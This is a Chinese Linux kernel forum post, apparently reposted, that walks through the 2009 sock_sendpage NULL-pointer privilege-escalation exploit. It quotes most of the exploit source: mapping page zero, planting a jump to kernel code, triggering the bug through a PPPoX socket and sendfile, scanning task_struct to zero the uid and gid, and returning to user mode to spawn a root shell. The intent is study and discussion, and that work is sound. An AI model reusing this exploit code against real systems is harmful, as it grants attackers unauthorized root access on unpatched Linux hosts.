新爆内核高危漏洞sock_sendpage的利用分析的讨论 - 内核源码 - Linux论...
来源:百度文库 编辑:神马文学网 时间:2024/04/29 10:00:15
先发点上砖上来引玉,大家一起讨论一下吧。
http://linux.chinaunix.net/bbs/thread-1130262-1-1.html
详细地描述了这个漏洞。
具体漏洞原因在
http://archives.neohapsis.com/ar ... e/2009-08/0174.html
也有描述。
因为sock_sendpage没有做指针检查,有些模块不具备sendpage功能,初始时赋为NULL,这样,没有做检查的sock_sendpage有可能直接调用空指针而导致出错——重新映射地址0,并提升权限!!!!
[Copy to clipboard] [ - ]CODE:ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = SOCKET_I(file->f_dentry->d_inode);
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
/*
没有做类似的指针检查,就直接调用
if (unlikely(!sock->ops->sendpage))
return -EINVAL;
*/
return sock->ops->sendpage(sock, page, offset, size, flags);
}
来看看利用的代码(程序是在安焦上面下载的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):
[Copy to clipboard] [ - ]CODE:int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
//获取当前程序的uid和gid,后面权限提升的时候查找使用
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
程序mmap了地址0x0,接下来
[Copy to clipboard] [ - ]CODE:*(char *)0 = '\x90'; (nop)
*(char *)1 = '\xe9'; (jmp)
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
(这个 - 6是什么意思,大家指点一下)
在地址0x0处埋下代码kernel_code 函数,因为0x90 = nop, 0xe9 = jmp
上面代码可表示为在映射的地址0处,执行
[Copy to clipboard] [ - ]CODE:nop
jmp kernel_code
不过现在还没有执行,因为Bug没有被激活,程序没有运行到地址0处。
然后就是激活该Bug:
[Copy to clipboard] [ - ]CODE:if ((fdin = mkstemp(template)) < 0) {
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);
这段代码是漏洞描述上的示例代码。。。。。。
关键是kernel_code:
因为Bug被激活,进程已经进入内核上下文:
[Copy to clipboard] [ - ]CODE:void kernel_code()
{
int i;
uint *p = get_current();
kernel_code第一步是获取当前进程的进程描述符,get_current是一个内联汇编:
[Copy to clipboard] [ - ]CODE:static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
这段代码是现成的,描述进程描述符的资料,例如《ULK3》或《Linux内核设计与实现》上都有其介绍。内核中的原型是:
[Copy to clipboard] [ - ]CODE:static inline struct task_struct * get_current(void)
{
return current_thread_info()->task;
}
/* how to get the thread information struct from C */
static inline struct thread_info *current_thread_info(void)
{
struct thread_info *ti;
__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
return ti;
}
include/asm-i386/current.h
程序返回的是一个uint *指针,而不是struct task_struct *,我认为有两个理由:
A、这是在应用态而不是内核态,如果使用后者,会比较麻烦;
B、这个程序是超版本的,也就是不仅限于某个内核版本,所以,struct task_struct的结构可能会有很大的变化。
所以,没有办法,只能在整个结构范围之内来查找uid和gid。以我的2.6.12为例:
struct task_struct {
……
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
……
}
就是要逐个找到它们,一共是8个字段:
所以,使用uint*指针来指向结构的整个buffer,就可以逐字节的查找。而不是直接使用成员名。(我不知所有历史版本,这些成员的名称是否会变化,这样做不引用成员名,连成员名变化都可以忽略了。)
[Copy to clipboard] [ - ]CODE:for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
所以这里要做一个循环,就是为了超版本的在整个结构的数据中逐个搜寻,去匹备那8个成员。查找上限是1024 - 13,应该与struct task_struct结构的大小有关。包子TX贴子中说测试程序可能会引起系统出问题,估计就是出在这里了。(猜测,呵呵)
接下来就是查找到进程的uid和gid,然后替换之,这里设为0,即为root!!!以达到提升权限的目的。
exit_kernel();退出内核态,并调用exit_code()函数,运行shell。
[Copy to clipboard] [ - ]CODE:static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
[Copy to clipboard] [ - ]CODE:void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL);
}
这些利用漏洞的人,太强了,PF呀PF,人与人差距太大了,学无止境呀!!!
新爆内核高危漏洞sock_sendpage的利用分析的讨论 - 内核源码 - Linux论...
Linux内核源码的组织结构
黑客再爆Linux内核高危漏洞,一个命令可以攻击所有Linux系统
Linux 内核软中断执行分析|Linux,内核,软中断,softirq,分析,编程-中国源码网
顽固漏洞再现 Linux 内核
linux内核的一些预定义 - linux内核与驱动
Linux 系统内核的调试
Android内核的简单分析 - Linux - 夜猫子的家
linux内核空间与用户空间信息交互方法 - 内核基础 - 我们的内核 - Powered...
使用 Linux 系统调用的内核命令
Linux 内核使用的 GNU C 扩展
Linux 2.6 内核的精彩世界
Linux中定时器的实现算法 -- Linux内核分析 -- EDN电子设计技术
转载--Linux 可加载内核模块剖析 - linux内核 - 开源linux.巨人的脚步...
ChinaUnix.net - 写给Linux内核新手-关于Linux内核学习的误区 - 中国Unix技术社区
[原创] 写给Linux内核新手-关于Linux内核学习的误区 - ChinaUnix.n...
学习Linux 0.01 内核分析和操作系统设计的准备工作 - 开源 - CSDN技术中心
arm linux kernel 从入口到start_kernel 的代码分析 - 内核源...
linux内核网络栈代码简要分析
深入分析 Linux 内核链表
深入分析 Linux 内核链表(组图)
Linux 运行时内核分析(二版)
嵌入式Linux内核移植相关代码分析
深入分析 Linux 内核链表一--水碧桥